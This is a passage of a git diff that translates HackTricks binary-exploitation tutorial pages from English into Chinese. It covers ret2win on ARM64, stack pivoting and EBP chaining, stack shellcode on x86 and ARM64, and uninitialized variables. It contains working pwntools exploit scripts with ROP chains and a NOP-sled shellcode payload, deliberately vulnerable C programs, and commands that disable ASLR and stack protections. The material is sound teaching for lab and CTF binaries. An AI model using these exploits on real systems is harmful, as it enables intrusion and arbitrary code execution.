-arm64 will try to return to the address in the register x30 (which was compromised), we can use that to find the pattern offset: - +arm64 将尝试返回到寄存器 x30 中的地址(该地址已被破坏),我们可以利用这一点来找到模式偏移: ```bash pattern search $x30 ``` -
-**The offset is 72 (9x48).** +**偏移量是 72 (9x48)。** -### Stack offset option - -Start by getting the stack address where the pc register is stored: +### 堆栈偏移选项 +首先获取存储 pc 寄存器的堆栈地址: ```bash gdb -q ./ret2win b *vulnerable_function + 0xc run info frame ``` -
-Now set a breakpoint after the `read()` and continue until the `read()` is executed and set a pattern such as 13371337: - +现在在 `read()` 之后设置一个断点,并继续执行直到 `read()` 被执行,并设置一个模式,例如 13371337: ``` b *vulnerable_function+28 c ``` -
-Find where this pattern is stored in memory: +找到这个模式在内存中的存储位置:
-Then: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** +然后: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
-## No PIE +## 无PIE -### Regular - -Get the address of the **`win`** function: +### 常规 +获取 **`win`** 函数的地址: ```bash objdump -d ret2win | grep win ret2win: file format elf64-littleaarch64 00000000004006c4 : ``` - -Exploit: - +利用: ```python from pwn import * @@ -124,13 +109,11 @@ p.send(payload) print(p.recvline()) p.close() ``` -
### Off-by-1 -Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. - +实际上,这更像是在栈中存储的 PC 的 off-by-2。我们将只用 `0x06c4` 覆盖 **最后 2 个字节**,而不是覆盖所有的返回地址。 ```python from pwn import * @@ -150,22 +133,20 @@ p.send(payload) print(p.recvline()) p.close() ``` -
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. +您可以在 ARM64 中找到另一个 off-by-one 示例,链接为 [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/),这是一个虚构漏洞中的真实 off-by-**one**。 -## With PIE +## 使用 PIE > [!TIP] -> Compile the binary **without the `-no-pie` argument** +> 编译二进制文件 **时不要使用 `-no-pie` 参数** ### Off-by-2 -Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: +在没有泄漏的情况下,我们不知道获胜函数的确切地址,但我们可以知道该函数相对于二进制文件的偏移量,并且知道我们正在覆盖的返回地址已经指向一个接近的地址,因此可以泄漏到 win 函数的偏移量 (**0x7d4**) 并仅使用该偏移量:
- ```python from pwn import * @@ -185,5 +166,4 @@ p.send(payload) print(p.recvline()) p.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a786dea8e..2650f326e 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -2,64 +2,61 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. - -As a reminder, **`leave`** basically means: +此技术利用操纵 **基指针 (EBP)** 的能力,通过仔细使用 EBP 寄存器和 **`leave; ret`** 指令序列来链接多个函数的执行。 +作为提醒,**`leave`** 基本上意味着: ``` mov ebp, esp pop ebp ret ``` - -And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. +由于**EBP在栈中**位于EIP之前,因此可以通过控制栈来控制它。 ### EBP2Ret -This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. +当你可以**更改EBP寄存器但没有直接方法更改EIP寄存器**时,这种技术特别有用。它利用了函数执行完毕后的行为。 -If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ -Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. +如果在`fvuln`执行期间,你设法在栈中注入一个**假EBP**,指向内存中你的shellcode地址所在的区域(加上4个字节以考虑`pop`操作),你可以间接控制EIP。当`fvuln`返回时,ESP被设置为这个构造的位置,随后的`pop`操作将ESP减少4,**有效地使其指向攻击者在其中存储的地址。**\ +注意你**需要知道2个地址**:ESP将要去的地址,以及你需要在其中写入的地址。 #### Exploit Construction -First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. +首先,你需要知道一个**可以写入任意数据/地址的地址**。ESP将指向这里并**运行第一个`ret`**。 -Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: +然后,你需要知道`ret`使用的地址,该地址将**执行任意代码**。你可以使用: -- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. -- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). -- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. -- Some [**ROP**](../rop-return-oriented-programing/) chain +- 一个有效的[**ONE_GADGET**](https://github.com/david942j/one_gadget)地址。 +- **`system()`**的地址,后面跟着**4个垃圾字节**和`"/bin/sh"`的地址(x86位)。 +- 一个**`jump esp;`** gadget的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟着要执行的**shellcode**。 +- 一些[**ROP**](../rop-return-oriented-programing/)链 -Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. +请记住,在受控内存的任何这些地址之前,必须有**`4`个字节**,因为**`pop`**部分的`leave`指令。可以利用这4个字节设置一个**第二个假EBP**,并继续控制执行。 #### Off-By-One Exploit -There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ -Usually it's modified the byte 0x00t o jump as far as possible. +这种技术有一个特定的变体,称为“Off-By-One Exploit”。当你**只能修改EBP的最低有效字节**时使用。在这种情况下,存储要跳转到的地址的内存位置必须与EBP共享前3个字节,从而允许在更受限的条件下进行类似的操作。\ +通常会修改字节0x00以尽可能远地跳转。 -Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. +此外,通常在栈中使用RET滑块,并将真实的ROP链放在末尾,以使新的ESP更有可能指向RET滑块内部,并执行最终的ROP链。 ### **EBP Chaining** -Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. +因此,将一个受控地址放入栈的`EBP`条目中,并在`EIP`中放入一个`leave; ret`的地址,可以**将`ESP`移动到栈中的受控`EBP`地址**。 -Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: +现在,**`ESP`**被控制,指向所需地址,下一条要执行的指令是`RET`。为了利用这一点,可以在受控ESP位置放置以下内容: -- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction -- **`system()`** -> Called by `ret` -- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin -- **`&("/bin/sh")`**-> Param fro `system` +- **`&(next fake EBP)`** -> 由于`leave`指令中的`pop ebp`加载新的EBP +- **`system()`** -> 由`ret`调用 +- **`&(leave;ret)`** -> 在system结束后调用,它将ESP移动到假EBP并重新开始 +- **`&("/bin/sh")`**-> `system`的参数 -Basically this way it's possible to chain several fake EBPs to control the flow of the program. +基本上,这种方式可以链接多个假EBP以控制程序的流程。 -This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. - -Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page: +这类似于[ret2lib](../rop-return-oriented-programing/ret2lib/),但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。 +此外,这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这种技术与**栈泄漏**调用一个成功的函数。这是页面的最终有效载荷: ```python from pwn import * @@ -75,34 +72,32 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( - 0x0, # rbp (could be the address of anoter fake RBP) - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, - elf.sym['winner'] +0x0, # rbp (could be the address of anoter fake RBP) +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, +elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( - buffer, # Load leak address in RBP - LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leak address in RBP +LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +## EBP 可能未被使用 -## EBP might not be used - -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ -This is because the **prologue and epilogue changes** if the binary is optimized. - -- **Not optimized:** +如[**在此帖子中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化编译的,**EBP 永远无法控制 ESP**,因此,任何通过控制 EBP 的漏洞利用基本上都会失败,因为它没有任何实际效果。\ +这是因为如果二进制文件经过优化,**前言和尾声会发生变化**。 +- **未优化:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - -- **Optimized:** - +- **优化:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size @@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` - -## Other ways to control RSP +## 其他控制 RSP 的方法 ### **`pop rsp`** gadget -[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: - +[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( - 0, # r13 - 0, # r14 - 0, # r15 - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, # r15 - elf.sym['winner'] +0, # r13 +0, # r14 +0, # r15 +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, # r15 +elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 @@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( - POP_CHAIN, - buffer # rsp +POP_CHAIN, +buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` - ### xchg \, rsp gadget - ``` pop <=== return pointer xchg , rsp ``` - ### jmp esp -Check the ret2esp technique here: +查看 ret2esp 技术: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## References & Other Examples +## 参考文献与其他示例 - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - - 64 bits, off by one exploitation with a rop chain starting with a ret sled +- 64 位,越界利用,使用以 ret sled 开头的 rop 链 - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +- 64 位,无 relro、canary、nx 和 pie。该程序允许泄漏堆栈或 pie 以及一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”写入,在 .bss 中写入一个 ROP 链并最终调用它,通过 RBP 进行 pivoting。 ## ARM64 -In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. +在 ARM64 中,**函数的前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**。 -Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. +因此,默认情况下,仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP,你仍然需要一种方法来 **控制 `x30`** 寄存器。 -- prologue +- 前言 - ```armasm - sub sp, sp, 16 - stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 - mov x29, sp // FP points to frame record - ``` +```armasm +sub sp, sp, 16 +stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 +mov x29, sp // FP 指向帧记录 +``` -- epilogue +- 尾声 - ```armasm - ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] - add sp, sp, 16 - ret - ``` +```armasm +ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] +add sp, sp, 16 +ret +``` > [!CAUTION] -> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. +> 在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**(通过控制某个寄存器,其值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址并且我们有一个溢出),然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **返回** 到它。 -Also in the following page you can see the equivalent of **Ret2esp in ARM64**: +在以下页面中,你还可以看到 **Ret2esp 在 ARM64 中的等效物**: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 187c832b7..5152ffd01 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. +**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈中,然后修改 **Instruction Pointer (IP)** 或 **Extended Instruction Pointer (EIP)** 以指向该 shellcode 的位置,从而导致其执行。这是一种经典的方法,用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用代码。 -### C Example: A Vulnerable Program - -Let's start with a simple example of a vulnerable C program: +### C 示例:一个易受攻击的程序 +让我们从一个简单的易受攻击的 C 程序示例开始: ```c #include #include void vulnerable_function() { - char buffer[64]; - gets(buffer); // Unsafe function that does not check for buffer overflow +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { - vulnerable_function(); - printf("Returned safely\n"); - return 0; +vulnerable_function(); +printf("Returned safely\n"); +return 0; } ``` +该程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。 -This program is vulnerable to a buffer overflow due to the use of the `gets()` function. - -### Compilation - -To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command: +### 编译 +要在禁用各种保护的情况下编译此程序(以模拟易受攻击的环境),您可以使用以下命令: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` +- `-fno-stack-protector`: 禁用栈保护。 +- `-z execstack`: 使栈可执行,这对于执行存储在栈上的shellcode是必要的。 +- `-no-pie`: 禁用位置无关可执行文件,使预测我们的shellcode将位于的内存地址更容易。 +- `-m32`: 将程序编译为32位可执行文件,通常在漏洞开发中为了简化而使用。 -- `-fno-stack-protector`: Disables stack protection. -- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack. -- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located. -- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development. - -### Python Exploit using Pwntools - -Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: +### 使用Pwntools的Python漏洞利用 +以下是如何使用**pwntools**在Python中编写一个**ret2shellcode**攻击的漏洞利用: ```python from pwn import * @@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` +该脚本构造了一个有效负载,由**NOP滑块**、**shellcode**组成,然后用指向NOP滑块的地址覆盖**EIP**,确保shellcode被执行。 -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +**NOP滑块**(`asm('nop')`)用于增加执行“滑入”我们的shellcode的机会,而不管确切的地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量,以便落入NOP滑块。 -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +## 保护措施 -## Protections +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **应该被禁用**,以确保地址在执行之间是可靠的,否则存储函数的地址不会总是相同,您需要一些泄漏以确定win函数加载的位置。 +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) 也应该被禁用,否则被破坏的EIP返回地址将永远不会被跟随。 +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护将阻止在栈内执行shellcode,因为该区域将不可执行。 -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable. - -## Other Examples & References +## 其他示例与参考 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - - 64bit, ASLR with stack address leak, write shellcode and jump to it +- 64位,ASLR与栈地址泄漏,写入shellcode并跳转到它 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - - 32 bit, ASLR with stack leak, write shellcode and jump to it +- 32位,ASLR与栈泄漏,写入shellcode并跳转到它 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it +- 32位,ASLR与栈泄漏,比较以防止调用exit(),用一个值覆盖变量并写入shellcode并跳转到它 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64,无ASLR,ROP小工具使栈可执行并跳转到栈中的shellcode {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 3ad3e61ac..ec8995a50 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -2,47 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +在以下内容中找到关于 arm64 的介绍: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code - +## 代码 ```c #include #include void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie, canary and nx: - +在没有 pie、canary 和 nx 的情况下编译: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` - ## No ASLR & No canary - Stack Overflow -To stop ASLR execute: - +要停止 ASLR,请执行: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +要获取[**bof的偏移量,请查看此链接**](../ret2win/ret2win-arm64.md#finding-the-offset)。 -To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). - -Exploit: - +利用: ```python from pwn import * @@ -73,9 +66,8 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` +这里唯一“复杂”的事情是找到调用的栈地址。在我的情况下,我使用 gdb 找到的地址生成了漏洞利用,但在利用时它没有工作(因为栈地址稍微改变了)。 -The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). - -I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. +我打开了生成的 **`core` 文件**(`gdb ./bog ./core`)并检查了 shellcode 开始的真实地址。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md index 6cde48bee..4d1e29f35 100644 --- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md +++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md @@ -1,68 +1,66 @@ -# Uninitialized Variables +# 未初始化变量 {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: +这里的核心思想是理解**未初始化变量的行为,因为它们将具有分配给它们的内存中已经存在的值。** 示例: -- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. -- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. +- **函数 1: `initializeVariable`**: 我们声明一个变量 `x` 并赋值,例如 `0x1234`。这个操作类似于在内存中保留一个位置并放入一个特定的值。 +- **函数 2: `useUninitializedVariable`**: 在这里,我们声明另一个变量 `y`,但没有给它赋值。在 C 语言中,未初始化的变量不会自动设置为零。相反,它们保留最后存储在其内存位置的值。 -When we run these two functions **sequentially**: +当我们**顺序**运行这两个函数时: -1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. -2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. +1. 在 `initializeVariable` 中,`x` 被赋值(`0x1234`),占用了一个特定的内存地址。 +2. 在 `useUninitializedVariable` 中,`y` 被声明但未赋值,因此它占据了紧接在 `x` 后面的内存位置。由于没有初始化 `y`,它最终“继承”了来自 `x` 使用的相同内存位置的值,因为那是最后一个在那里存在的值。 -This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory. +这种行为说明了低级编程中的一个关键概念:**内存管理至关重要**,未初始化的变量可能导致不可预测的行为或安全漏洞,因为它们可能无意中保存了留在内存中的敏感数据。 -Uninitialized stack variables could pose several security risks like: +未初始化的栈变量可能带来几种安全风险,例如: -- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. -- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. -- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. -- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. - -### Example +- **数据泄露**: 如果敏感信息如密码、加密密钥或个人详细信息存储在未初始化的变量中,可能会被暴露,允许攻击者潜在地读取这些数据。 +- **信息泄露**: 未初始化变量的内容可能揭示程序的内存布局或内部操作的细节,帮助攻击者开发针对性的利用。 +- **崩溃和不稳定性**: 涉及未初始化变量的操作可能导致未定义的行为,从而导致程序崩溃或不可预测的结果。 +- **任意代码执行**: 在某些情况下,攻击者可能利用这些漏洞来改变程序的执行流程,使他们能够执行任意代码,这可能包括远程代码执行威胁。 +### 示例 ```c #include // Function to initialize and print a variable void initializeAndPrint() { - int initializedVar = 100; // Initialize the variable - printf("Initialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); +int initializedVar = 100; // Initialize the variable +printf("Initialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); } // Function to demonstrate the behavior of an uninitialized variable void demonstrateUninitializedVar() { - int uninitializedVar; // Declare but do not initialize - printf("Uninitialized Variable:\n"); - printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); +int uninitializedVar; // Declare but do not initialize +printf("Uninitialized Variable:\n"); +printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); } int main() { - printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); +printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); - // First, call the function that initializes its variable - initializeAndPrint(); +// First, call the function that initializes its variable +initializeAndPrint(); - // Then, call the function that has an uninitialized variable - demonstrateUninitializedVar(); +// Then, call the function that has an uninitialized variable +demonstrateUninitializedVar(); - return 0; +return 0; } ``` +#### 这个是如何工作的: -#### How This Works: +- **`initializeAndPrint` 函数**:这个函数声明了一个整数变量 `initializedVar`,将其赋值为 `100`,然后打印该变量的内存地址和值。这个步骤很简单,展示了一个已初始化变量的行为。 +- **`demonstrateUninitializedVar` 函数**:在这个函数中,我们声明了一个整数变量 `uninitializedVar`,但没有对其进行初始化。当我们尝试打印它的值时,输出可能会显示一个随机数。这个数字代表了之前在该内存位置的数据。根据环境和编译器的不同,实际输出可能会有所不同,有时为了安全起见,一些编译器可能会自动将变量初始化为零,但这不应被依赖。 +- **`main` 函数**:`main` 函数按顺序调用上述两个函数,展示了已初始化变量和未初始化变量之间的对比。 -- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. -- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without 